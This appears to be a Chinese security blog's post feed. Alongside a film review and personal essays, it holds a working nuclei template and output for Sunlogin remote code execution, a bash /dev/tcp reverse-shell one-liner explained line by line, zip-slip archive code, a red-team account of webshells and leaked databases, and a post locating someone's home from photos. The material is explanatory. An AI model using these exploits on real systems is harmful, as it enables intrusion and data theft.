普通视图

发现新文章,点击刷新页面。
昨天以前玉明BLOG

FUZZ in work

作者 玉明
2024年1月19日 14:53

FUZZ in work

Yesterday, I used FUZZ for the first time in my work. It's so cool, I have decided to write a blog about it.

What is FUZZ?

Fuzz or fuzzing is a technique used in computer programming and software testing. It involves providing invalid, unexpected, or random data as input to a program or system in order to identify vulnerabilities, bugs, or abnormal behavior.

FUZZ in work

Yesterday, while testing a system, I discovered many paths using a browser plugin that called FindSomething.

paths.png

So I use these paths to test the system by yakit, and select the paths with 200 of status code.

yakit.png
200.png

Among these paths, I discovered a registration API that returns some error codes.

register.png

So I use FUZZ to test this API.

Based on testing experience, APIs like this one are usually accessed using POST requests. Therefore, I started fuzzing the parameters using POST.I guess the registration API is the same as login API format.

login.png
post.png

The fuzz dict is from https://github.com/TheKingOfDuck/fuzzDicts.

However, after fuzzing, I couldn't find the first parameter.The GET requests maybe tested.

I'm happy when I find a response packet that is different from the others after using GET to test this API.

get.png

Following the same approach, I got a complete request packet.

all.png

This is my first fuzzing result.It's so cool.

某市一些单位从互联网到内网

作者 玉明
2023年12月23日 21:20

某市一些单位从互联网到内网

赶在2023年的尾巴,我参加某市的一次HW。首先必须强调下面所有的行为都是经过授权的。因为这次内网没怎么打,好像没什么收获,那就把打到内网的所有目标大概写一下,不会非常详细。

某卫星中心

  1. 通过资产收集发现该单位某服务平台,该服务平台的同IP下的某IP存在Springboot,存在CVE-2022-22947,通过工具写内存马直接Shell。
    1_shell.png
    1_springboot.png
    1_webshell.png
  2. 因为是Linux服务器,没啥上线的必要,反弹个shell直接进内网开扫
  3. 扫完发现内网其实没什么东西,先用默认密码登录了4个Nacos,里面没有配置文件,然后有一个Nacos密码改了,用Nacos未授权漏洞看了一下,发现里面有一个去年HW留下来的账号,但是不知道密码,于是我也用未授权添加了一个账号
    1_nacos.png
    1_nacos_1.png
  4. 还扫出来了很多SSH弱口令,但是登录发现全是网络设备,不太会利用
    1_ssh.png
  5. 然后还有非常非常多的postgresql数据库的弱口令,这也是该单位的重大战果,在数据库中发现敏感地理数据超过500W条(无图)
    1_sql.png
  6. 还有一些其他的Web弱口令啊、Redis未授权啊、MySQL弱口令、etcd未授权,虽然在里面都发现了一些可以进一步扩大攻击面的东西,但是我始终没有将内网的一些数据和系统对应上,再加上打内网时间非常短,也没仔细打。

某交通支付公司

该漏洞是同事打的,我大概看了一下原理
  1. 通过资产收集发现该公司互联网存在一台Vcenter存在任意文件读取,下载data.mdb文件,通过读取该文件伪造了一个登录Cookie,然后进入到了Vcenter后台,获取了10台服务器权限,本来打算把快照下载下来然后重置密码试试进到虚拟机内,但是因为网速问题放弃了。
    2_vcenter.png

某大型游乐园

  1. 历史shell直通内网
    3_shell.png

某小学

  1. 刚爆出来没几天的Nday,没想到直接就用上了,直接一个上传WebShell,然后上线,发现是Windows2008,抓密码、建隧道、进入远程桌面
    4_webshell.png
    4_rdp.png
  2. 翻了一下浏览器的记录,发现两个存在弱口令的网站,运维也没有在上面存其他密码
    4_web.png
  3. 直接开扫,但是发现内网并不大,除了这台服务器,剩下的全是海康威视的摄像头,可以未授权获查看镜头截图以及获取登录密码,我大概瞅了几个,能看到很多学生。
    4_hik.png

某生物科技公司

  1. 通过资产收集发现该公司的金蝶云可以RCE,打入内存马并上线,因为是network权限,用土豆系列提权
    5_jindie.png
    5_msf.png
  2. 发现是双网卡机器,直接开扫。
  3. 在金蝶服务器桌面发现一TXT文档记录了该服务器的RDP登录密码、数据库密码、两个子公司的金蝶云平台登录密码,那就RDP进去看看呗
    5_txt.png
    5_rdp.png
  4. 这个内网东西也不是很多,扫到了很多Shiro,但是找不到默认Key,还发现内网有一个非常旧的ASP站,我估计大概率有SQL注入,就挂着代理用Yakit扫了一下,果真找到一个UA注入点,好像能执行命令,但是没回显,盲打了几个payload,也没见成果就放弃了。
    5_old.png
    5_old_sql.png
  5. 有几个MS17-010,打成功了一个,直接进到RDP,这个机器上还有向日葵,也一块收集了,这个人机器上还有传奇这类游戏,挺有意思的
    5_ms17010.png
  6. 内网还有一个不出网的cve-2019-7238,能执行命令,但是实在是想不到该怎么转发出来了,现在写这个想起了可以新建用户登录啊,还是脑子不够聪明。
    5_cve.png
  7. 两个Redis,在里面发现存了登录数据,但是找不到对应的应用,而且未授权反弹shell也没成功,很可惜
    5_redis.png
  8. 接着就是重大成果,通过弱口令登录了几个MySQL数据库,在里面发现了4k条财务数据,该公司在各个平台(旺店、天猫、抖音、有赞、快手、拼多多等)百万量级的订单数据(包含姓名、地址、手机号等)
    5_ding.png
    5_addr.png
  9. 然后就是一些打印机啊、FTP、SMB之类的弱口令了,没什么意思,就不展示了。

ZIP slip vulnerability

作者 玉明
2023年12月1日 16:37

ZIP slip vulnerability

Today a workmate shared with me a vulnerability that called kingdee-Apusic-deployApp-upload. In this vul, I find request body is a zip file, but it's not successful that I want to modify this zip file in the request body. Finally, I found this vul is called zip-slip.

Directory traversal

I believe every programmer of cyber security knows about directory traversal vul. This vulnerability allows bypassing the application's access control by inserting ../. We can use ../ to access directories outside of the current directory, and download/read/write file in other directories.

Zip slip

zip slip is a type of directory traversal vul, We can upload a evil zip file, if the file is extracted, we will write a file into a directory where we intend.

How to create a zip file with zip slip? I find codes from zhihu

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'sec_test.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/sec_test.tmp')

This code creates a zip file named out.zip. And we can upload this zip file to the web which have directory traversal vul, and the zip file is extracted, and a file will be written into a directory.

How to use nuclei to rce with any command

作者 玉明
2023年11月26日 14:49

How to use nuclei to rce with any command

A few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.

There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.

some Flags

-dresp flag can show all received responses for all templates.

-V flag can customize vars in key=value format.

nuclei template

there is a flag(variables) which can be used to customize vars in nuclei template. For example:

id: sunlogin_rce

info:
  name: 向日葵RCE
  author: Xc1Ym
  severity: critical
  description: 通过该链接可以执行命令
  metadata:
    max-request: 2
    verified: true
    fofa-query1: body="Verification failure"
    fofa-query2: app="向日葵-远程控制"
  tags: rce
variables:
  cmd: "ipconfig"
http:
    - raw:
      - |
        GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: CID={{cid}}
      extractors:
        - type: json
          part: body
          internal: true
          name: cid
          json:
          - '.verify_string'
      matchers:
        - type: dsl
          dsl:
            - "status_code_1==200"
            - "contains(body_1, 'verify_string')"
            - "status_code_2==200"
            - "contains(body_2, 'Windows IP')"
          condition: and
# digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1

We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[sunlogin_rce] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

Use dresp to show the received responses.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras

HTTP/1.1 200 OK
Content-Length: 87
Cache-Control: no-cache
Content-Type: text/html

{"__code":0,"enabled":"1","verify_string":"xxx","code":0}
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

HTTP/1.1 200 OK
Content-Length: 750
Cache-Control: no-cache
Content-Type: text/json


Windows IP ����


��̫�������� ��̫��:

   �����ض��� DNS ��׺ . . . . . . . :
   �������� IPv6 ��ַ. . . . . . . . : xxx
   IPv4 ��ַ . . . . . . . . . . . . : xxx
   ��������  . . . . . . . . . . . . : xxx
   Ĭ������. . . . . . . . . . . . . : xxx

���������� isatap.{xxx}:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���������� Teredo Tunneling Pseudo-Interface:

   �����ض��� DNS ��׺ . . . . . . . :
   IPv6 ��ַ . . . . . . . . . . . . : xxx
   �������� IPv6 ��ַ. . . . . . . . : xxx
   Ĭ������. . . . . . . . . . . . . : ::
[sunlogin_rce:dsl-1] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

Use -V to customize vars. We can watch the nuclei executed whoami and show the result.

PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp -V cmd=whoami

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.0.4

                projectdiscovery.io

[WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support.
[INF] Current nuclei version: v3.0.4 (outdated)
[INF] Current nuclei-templates version: v9.6.9 (latest)
[INF] New templates added in latest release: 73
[INF] Templates loaded for current scan: 1
[WRN] Executing 1 unsigned templates. Use with caution.
[INF] Targets loaded for current scan: 1
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras

HTTP/1.1 200 OK
Content-Length: 87
Cache-Control: no-cache
Content-Type: text/html

{"__code":0,"enabled":"1","verify_string":"xxx","code":0}
[DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami

HTTP/1.1 200 OK
Content-Length: 21
Cache-Control: no-cache
Content-Type: text/json

nt authority\system

In the end

If you want to rce witch any command, you can use variables in your template.

And you can also use nuclei to upload webshell and execute commands by webshell.

《红猪》观后感

作者 玉明
2023年11月19日 16:04

刚才看完了《红猪》,虽然我收藏所有吉卜力工作室蓝光原盘的电影,但是《红猪》我却没有看过一次,今天看完了以后发现《红猪》是讲给成人的浪漫主义电影,讲自由、感情、战争、梦想、海和天空。我非常喜欢具有浪漫主义色彩的电影,《红猪》成为了我最喜欢的吉卜力工作室的电影。

我还记得我第一次看吉卜力工作室电影的时候,应该是我上初中的一个周末,那天阳光明媚,就和今天一样,我和妈妈坐在沙发看书,我看书看的倦了,央求着妈妈和我一起看我偷偷从电脑上下载的《天空之城》,在我的软磨硬泡下,妈妈答应和我一起看。这是我第一次接触吉卜力工作室的电影,电影中碧蓝的天空、翠绿的树林以及深邃的海水给我留下了深刻的印象。后来我又自己一个人看了很多吉卜力工作室的电影,每一部让我陶醉,曾经我非常喜欢具有冒险精神的《天空之城》,随着年龄的增长,现在看起来浪漫主义的《红猪》更合我的胃口。

《红猪》剧情简单平淡,更像是一篇流水账,前半段我甚至不太明白这部电影是要干什么,但是随着剧情的发展,我开始集中注意力,因为菲奥的一句话狠狠地戳中了我:“一个专业的机械师是必备的。”一个好的飞艇驾驶员怎么能少了一个专业的机械师呢?这让我想起了江南在《龙族》和《天之炽》中的场景,果然这么多年过去了,我还是很喜欢这一套。

我最喜欢的几部宫崎骏导演的电影都有这种复古且具有机械感的交通工具,非常蒸汽朋克,各种简单的机械结构奇妙地组合在一起就能完成复杂的功能,在《哈尔的移动城堡》和上面说的《天空之城》以及今天看的《红猪》中的飞行器上都有出现,它们的外观充满了曲线和齿轮,机翼和螺旋桨融入了古典和机械的元素,飞行器穿梭在浩瀚的天空,不仅承载了梦想和幻想的起点,尤其是《红猪》中的飞艇,更是成为了一种自由的象征,宫崎骏通过这些细腻的机械结构将科技和人文巧妙的融合,让我对蒸汽朋克着迷。

豆瓣上有人说:天空和大海陶冶出来的人,都是善良的。确实,在我看过的吉卜力工作室电影中,天空和大海的描写都传达出深沉而美好的感觉。《红猪》的天空是重要的、决胜负的舞台,波鲁克驾驶着飞艇在天空中盘旋,在云层中穿梭,追逐着自由。电影中的大海广阔且深邃,是波鲁克休息的地方,同时也是他寻找自我和思考人生的场所,大海承载着他的过去,与他的故事交相辉映。

吉卜力工作室中有很多反战的电影,《红猪》也不例外,虽然整部电影没有任何战争画面,但是还是能从只言片语中发现战争的残酷:男人们都上了战场、女人们在后方赚钱糊口。我想起了《上甘岭》中的插曲《我的祖国》这首歌,整首歌没有一个字讲战争,讲壮丽的山河、讲秀美的景色、讲勤劳的人民,讲“朋友来了有好酒,若是那豺狼来了有猎枪。”讲我们不屈的民族精神。

王国维说:“一切景语皆情语。”中国传统诗词喜欢通过各种意象来表达作者的感情,比如:“关关雎鸠在河之洲”、“小桥流水人家,古道西风瘦马”、“楼船夜雪瓜洲渡,铁马秋风大散关”,宫崎骏似乎也很喜欢通过各种意象来表达他的感情,尤其《红猪》还是他因个人兴趣制作的电影,波鲁克这位红猪本来就是一种意象,波鲁克样貌的变化体现了他内心的矛盾以及过去对他的困扰,成为赏金猎人体现了他的自由、独立、反叛。飞艇也是意象,是冒险和生活方式的象征。宫崎骏通过波鲁克这位红猪和飞艇等意象,以及对大海和天空的描绘,将情感融入了自然景物之中,通过这些富有意象的元素,使得这部电影成为一个不仅仅是动画作品,更是一个充满诗意和人性思考的艺术品。

The commands of reverse shell

作者 玉明
2023年4月18日 20:00

The commands of reverse shell

I read an answer about Linux commands on zhihu, which details stdin, stdout, stderr and redirection. When I finished reading, I found that I could not understand the meaning of the Linux command in the reverse shell. So I wirte this article.

I introduced the reverse shell before. At that time, I just learned hack, so in that article, I just briefly introduced the shell, but with the further study, I think it's necessary to understand the reverse shell again.

we can reverse shell with bash -i >& /dev/tcp/192.168.0.1/8080 0>&1, this commands allowed display on prot 8080 of 192.168.0.1. But why? Maybe this article can solve this problem.

Everything is a file

In the reverse shell, it embodies the concept of everything is a file. /dev/tcp is a special file, through this file, we can send requests to the specified IP/domain and port. When this file is opened(the file isn't real), a socket connection is established. So /dev/tcp/192.168.0.1/8080 means this host has established a socket connection with prot 8080 of 192.168.0.1. Although the connection is established, but why the commands are displayed on screen of 192.168.0.1?

Stdin, stdout and stderr

stdin, stdout and stderr are all file descriptors. In Linux, stdin is number zero, and stdout is number one, stderr is number two. When we get Linux up, these three file descriptors will be started. we can get stdin throuth the keyborad and see stdout\stderr on the display. Usually stdout and stderr are displayed on the display, but if it's to be output to a file or other device, we need use redirection.

Redirection

Redirection is a concept in the Shell. Through redirection, it's to be output to a file or other device. In Shell, < and << are called input redirection. > and >> are called output redirection.

Input redirection

command 0< file means that we redirect file to command. Of course, we can omit zero.

cat.png

Output redirection

command >1 file means that we redirect the output of command to file. Also, this number is omiited.

echo.png

We can also redirect sdterr to stdout, such as command 2>&1 file or command >& file

Reverse shell

bash -i can create an interactive terminal. When we use nc -lvp 4444 on attack vps and use bash -i >& /dev/tcp/192.168.0.1/8080 0>&1 on attacked vps, we can send command by attack vps and execute the command on attacked vps. at the same time, the results of the attacked vps can be got on the attack vps.

The bash -i >& /dev/tcp/192.168.0.1/8080 0>&1 is written as bash -i > /dev/tcp/192.168.0.1/8080 0>&1 2>&1.The output of interactive terminal of attacked vps redirected to prot 8080 of 192.168.0.1, 0>&1 and 2>&1 means that the input of attack vps redirected to the interactive terminal and that the error of attacked vps redirected to port 8080 of 192.168.0.1.

This is the reverse shell.

图片找地址_1

作者 玉明
2023年1月31日 21:09

图片找地址_1

昨天看到一位认识的网友发了两张她家附近的照片,我告诉她我可以通过照片找到她家的位置,征得同意后我开始了根据图片找地址。

首先因为她的IP定位在XX,所以我只需要在XX省里找就可以了。

先看一下这两张图


在第一张照片里可以看到远处有一座桥,可以判断在河边,同时这张照片中远处面向阳光的楼是东西方向,可以确定这条河是东西走向。同时这座桥非常具有特点,是一座系杆拱桥。

首先在YY找一下,发现一座系杆拱桥,但是是南北走向的河。

接着我们沿着T江在ZZ找到了一座系杆拱桥,同时发现这里的T江是东西走向。

在这座桥的北边有一座很大的建筑,看着很像第一张照片左边的建筑。

这个建筑的旁边刚好有一座楼,楼顶是天线。

在第一张图的右下角有一座建筑,建筑的最上面是蓝色的,中间镶嵌着红色,同事在附近的路上通过百度街景发现了这一建筑,刚好符合第二张图中蓝色建筑旁边是一座玻璃外墙的大楼

通过第二张图发现左边是红色屋顶的建筑,所以我们把具体的位置锁定在红色的框中

刚开始因为两张图中没有操场,所以我和同事一致认为在红框的右半边,但是右半边并没有比较高的楼适合拍照。

一筹莫展之际,我和同事发现第二张图右边的白色建筑是一个L型的,刚好和学校对的上,于是我们把具体位置锁定到了学校北边的小区。

根据第二张图近景有两个白色的球状物,发现学校北边刚好有两个白点,且白点的北边刚好是一座高层小区。

我将结果告诉了这位朋友,她肯定了我的结果。

2022年总结

作者 玉明
2022年12月30日 20:27

2022年总结

去年的今天下午差不多的时间点,我写下了《2021年总结》,那会西安因为疫情封城,我被封在家中,没想到今年我还是在家中,只不过现在我是因为得了新冠,整整一周都“阳”在家中,今天测抗原发现终于转阴了,可喜可贺。

2022年相比较2021年虽然发布的博文减少了,但是还是保证平均下来每个月至少2篇。我自己统计了一下,2022年除去把之前发到其他地方的文章转发到博客以外,总共发布了29篇文章,其中生活类文章5篇,技术类文章24篇,技术类的文章还是占据了我博客的大部分内容,明年感觉可以适当增加多一些的生活类文章。2022年其实写文章的时间不是很固定,基本上集中在了年初和年末,年中的时间实在是太忙,能抽出时间写文章都是万幸了。

2022年正值“二十大”召开,我几乎参与了省内所有HW行动的红队,虽然说大部分都没有什么好名次,但是玩的确实开心,我和团队的伙伴攻入了部分地市的政府网站、国企内网以及看到了一些医疗机构的敏感信息。这些攻防经历让我成长很快,对大范围无差别的攻击行动有了更深入的理解,为我的攻防理念提供了实践数据支撑。目前有一些攻击理念的想法一直未能付诸行动,希望在2023年能完成这一梦想。今年也没搞SRC,如果2023年能实现我的攻击理念,我觉得还可以试试,要不然就算了,过于浪费时间,还什么都拿不到。

今年我继续翻译了Nuclei的README,还向开源的信息收集工具提交了一部分我收集的WEB指纹,虽然没什么含金量,但我仍然坚持为开源软件提供我的一份力量。今年我为同学编写了几个爬虫工具,借助这些工具,我们获得了十万级以上的公开科研数据。

2022年我经历了年初的西安封城后,又经历了两次不大的封控,终于在完全放开后的年末感染了新冠,疫情封控虽然对我没有很大的影响,但我仍然是坚定的放开派,毕竟人类的确无法战胜大自然。正是因为今年近乎疯狂的封控,导致我几乎没有什么出行计划,希望明年能好好放松一下。

2022年年底我终于将我的博客迁移到了香港,取消了ICP备案,在未来的四五年内我应该是不会再做这种大规模的迁移活动了。今年是加入十年之约的第二年,我努力使我的博客可以活过这剩下的未知8年。

虽然剩不到30小时就到2023年了,但是我还是没有什么清晰的2023规划,先走一步看一步吧,总体来说还是希望提升自己的攻防水平,努力实现我的攻击理念。

我们都是突然长大的

作者 玉明
2022年11月24日 16:10

首发于博主QQ空间,现转载于此

今天国庆放假,终于有时间可以写一写我在补习学校一个半月的经历和感悟。在这90天里,感到自己成长了很多,突然有了饱经沧桑的感觉,自己觉得自己长大了。以前总有大人说我长大了,我笑笑不应声,因为我老感觉自己还没有长大,可是我现在终于可以说我长大了,不仅仅是生理上的还有心理上的。有人说人只有在经历一些失败和挫折后才能明白过去的美好,失去了才懂得珍惜。我想是的,经过一次高考失利后,才明白岁月蹉跎。套用我现在化学老师经常说的话:“我们要用辩证的思维来看待世界。”古语有云:“塞翁失马焉知非福。”换个角度来想,这何尝不是一种好事呢?就在这仅仅90天里,我就明白了一些道理,解开了一些萦绕在心里的问题。我们都是突然长大的!

2015年8月15日,星期六,这应该是我目前在人生道路上做出的最重要的决定——来到补习学校为了来年的高考继续努力。这一天阳光明媚,似乎和我的心情有很大的差别,由于网络的发达,我没有一丝的紧张和焦虑,非常期待能见到在这一年里和我并肩战斗的同学。但同时又担心巨大的压力和紧张的气氛让我受不了,还好目前还在我的承受范围之内。这些压力和紧张感给了我十足的动力,让我每天起早贪黑。

报完名下午没事,我在宿舍睡觉,睡得满头大汗,一觉醒来,太阳已经渐渐偏西,我们宿舍刚好是西晒,阳光透过玻璃洒在乳白色的地板上,给人一阵温暖。恍惚之间,我仿佛又回到了我高三的教室,同样是一个这样的午后,我在教室后面静静地看完了职烨写的《花开不败》,我被这个柔弱女孩内心的坚强所震撼。当时我只是被触动了一下,经过一次高考失利以后,我才被这种执着所震撼,才明白学习的意义。我暗下决心要在这一年里好好地拼一把,给自己一个完美的答案。我看着宿舍里其他还在睡觉的人,心里想:这会是一个怎样的一年呢?舍友不知道好不好相处呢?随着下午的宿舍的聚餐,我现在可以回答出第二个问题了,他们都是很好相处的人,虽然在性格上有一些差异,但毫不影响我们之间的互帮互助、插科打诨。

正式上课已是在8月20日,班主任按照每个人的高考成绩排了座位,我的身边都是一群学霸,我感到十分的高兴,我想大家都是学霸,一定有着非常不错的学习习惯和学习技巧,我可得向他们学习。可是我的“学习”却影响了大家的学习,有天晚自习下,班主任把我留下来找我谈话,她觉得我很爱说话,会影响到周围人的学习,让我不要说话,我连忙应允以后不再影响他们学习。后来我反思自己的行为,其实我也不是很爱说,但是和学霸们比起来就相形见绌了,我默默地下决心以后要少说多做。

经过一周的上课,我对代课老师有了一个比较全面的了解,不愧是各大名校退休的老师,他们不仅上课认真,而且平易近人,让我有想学的欲望,他们深入浅出的教学方法让我受益匪浅,往往就是他们不经意的一句话就点醒了我这个梦中人。这些代课老师对高考考点有非常好的把握,句句都紧扣高考。我的语文老师出过高考卷,有20年的高考阅卷经历,还带过语文满分;我的物理老师有一个本子,记录了近十几年的高考中的好题,而且讲课条理清晰,头头是道;我的化学老师虽然已经年过古稀,但依旧头脑清晰,字字珠玑;我的生物老师更是厉害,高考题、生物课本全背过,知识点、考点随便问,都问不倒他,随口就会说出页码和所在的地方。我被这些老师深深地折服。

这里我想重点说一说我的化学老师,他对学习的认识非常深刻,让我有醍醐灌顶之感,他经常会说:“高中的化学是一个完整的体系,高考中99%的知识都可以用所学过的知识来解决。”我开始非常不屑,认为高考化学中的许多知识都没有讲过,可是随着时间的推移,我渐渐明白了老师这句话的意思。他认为小学初中之所以学习好的原因仅仅是靠死记硬背获取来的,而高中却是以理解为主。这就是许多孩子上高中以后成绩一蹶不振的主要原因,如果不进行理解性的记忆,那再多的题也是记不完的,只有靠理解性的记忆,将一个知识变为一类知识,做一道题懂一类题,这才是高中的记忆模式。这不仅仅在理科的学习上很有用,而且适合各类学科的学习。我正在努力地改变我的学习方法,将死记硬背转变成理解记忆,这或许是一种更好的学习方法,更科学。

在补习学校的这些天里,每个人都认真地学习,都努力着,像极了王远成笔下的上海,每个人都努力的活着,不苟且,不浑浑噩噩。有时上晚自习突然抬起头,发现大家都低着刷着题,笔尖和纸摩擦发出的沙沙声敲击着我的心脏。大家都这么努力,我怎么能不努力呢?学如逆水行舟,不进则退,这时候我就会默默地低下头继续追赶学霸的步伐。前几天学校开家长会,作为班干部我必须到场,过去我在家长会期间总是无所事事,而这次家长会我在隔壁的答疑室里安安静静地写着我的作业,没有老师的监督,我就这样写到家长会结束。家长会结束后,我的父亲给我说:“我看了你的作业,这些天的做的作业都快和你高三一年做的一样多了。”父亲走后,我又继续着我的学习。现在想起来,高三的确是没有好好学,不自觉。可是为什么现在的我却这么自觉呢?估计是长大了吧,人总是突然在一瞬间长大的,而我正是通过这次的失败长大了。暑假的时候和人在QQ上聊天,说的都是一些关于未来的规划和自己一些对世界的看法,当时觉得还没有啥,现在回头看来,我什么时候已经可以像一个大人一样的说话了,我还没有准备好长大就长大了。
今天下午放假回家,我一个人收拾了衣服,整理了被子,将他们放进了拉杆箱,和同学一起提着箱子走上了回家的路。放在过去,这些都不需要我自己收拾,肯定都会被父母收拾。我只需要双手插兜走在最前面,父母带着我需要的东西走在后面。回家的最后一段路,我是个人走的,走着走着我就觉得原来这就是长大了:有些事不需要父母操心也能做好了,有些事突然就知道了其中的内涵,有些事也能独挑大梁了。在我上小学时我买了一本《时间简史》,起初什么都看不懂,只是瞅瞅上面的图画。随着年龄的增长,学到的物理知识逐渐增多,我渐渐明白了其中的意思,每次我重新读《时间简史》都会有新的感悟,就像现在的我,每次看到过去看过的一句话、一些事就会有新的看法,我总是感觉我不像原来的自己了,我一直在想是不是有人控制了我的思想,现在看来是我长大了。我是一个特别喜欢思考的人,经常就会反思自己,也会思考别人,思考为什么我要这样,为什么别人要那样,总是以自己为中心,总认为别人是错的,只有我是对的,现在撞在了南墙上,头破血流才知道别人也有对的时候。可我这个人却从不后悔,宁肯撞死在南墙上也不会回头,我同学认为我偏执,的确,我就是很偏执。在补习学校的这些天里让我知道人外有天,“古人的话没有错的时候”这句话看来是没有错的,只有不断的努力才能让自己成为“别人家的孩子”。

静下心来,从浮华中出淤泥而不染,在喧闹中让自己成长。不恋尘世浮华,不写红尘纷扰,不叹世道苍凉,不惹情思哀怨,闲看花开,静待花落,冷暖自知,干净如始。

一念转,心释然。

Nuclei新版README翻译及用法

作者 玉明
2022年11月18日 14:07

Nuclei新版README翻译及用法

Nuclei新增加了一些命令,对新的README进行了翻译,并订正了一些翻译错误

随着更新,Nuclei新增加了很多新功能,之前翻译的那篇README已经不能适应最新的版本,所以时隔一年之久,我打算重新翻译一篇Nuclei的README,目前翻译已经通过PR,Nuclei项目翻译地址


以下为翻译正文:



Nuclei

基于YAML语法模板的定制化快速漏洞扫描器

工作流程安装对于安全工程师对于开发者文档致谢常见问题加入Discord

English中文Korean


Nuclei使用零误报的定制模板向目标发送请求,同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。

我们的模板仓库包含超过300安全研究员和工程师提供的模板。

工作流程

nuclei-flow

安装Nuclei

Nuclei需要go1.18才能安装成功。执行下列命令安装最新版本的Nuclei

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

更多的安装方式 请点击此处.

Nuclei模板

自从v2.5.2)起,Nuclei就内置了自动下载和更新模板的功能。Nuclei模板仓库随时更新社区中可用的模板列表。

您仍然可以随时使用update-templates命令更新模板,您可以根据模板指南为您的个人工作流和需求编写模板。

YAML的语法规范在这里

用法

nuclei -h

这将显示Nuclei的帮助,以下是所有支持的命令。

Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。

用法:
  nuclei [命令]

命令:
目标:
   -u, -target string[]                  指定扫描的URL/主机
   -l, -list string                      指定需要扫描的URL/主机文件(一行一个)
   -resume string                        断点续扫(将禁用集群)

模板:
   -nt, -new-templates                   只扫描最新版本中添加的模板
   -ntv, -new-templates-version string[] 运行在特定版本中添加的新模板
   -as, -automatic-scan                  在自动web扫描中使用wappalyzer技术检测的指纹
   -t, -templates string[]               指定需要扫描的模板或者模板的路径(逗号分隔,文件)
   -tu, -template-url string[]           从URL加载模板(逗号分隔,文件)
   -w, -workflows string[]               指定扫描中的工作流或者工作流目录(逗号分隔,文件)
   -wu, -workflow-url string[]           从URL加载工作流(逗号分隔,文件)
   -validate                             验证通过的模板
   -nss, -no-strict-syntax               禁用模板的严格检查
   -tl                                   列出所有可用的模板

过滤:
   -a, -author string[]                  执行指定作者的模板(逗号分隔,文件)
   -tags string[]                        执行有标记的模板子集(逗号分隔,文件)
   -etags, -exclude-tags string[]        执行标记为排除的模板(逗号分隔,文件)
   -itags, -include-tags string[]        执行默认或者配置排除的标记模板
   -id, -template-id string[]            执行指定ID的模板(逗号分隔,文件)
   -eid, -exclude-id string[]            执行排除指定ID的模板(逗号分隔,文件)
   -it, -include-templates string[]      执行默认或配置中排除的模板
   -et, -exclude-templates string[]      要排除的模板或者模板目录(逗号分隔,文件)
   -em, -exclude-matchers string[]       在结果中排除指定模板
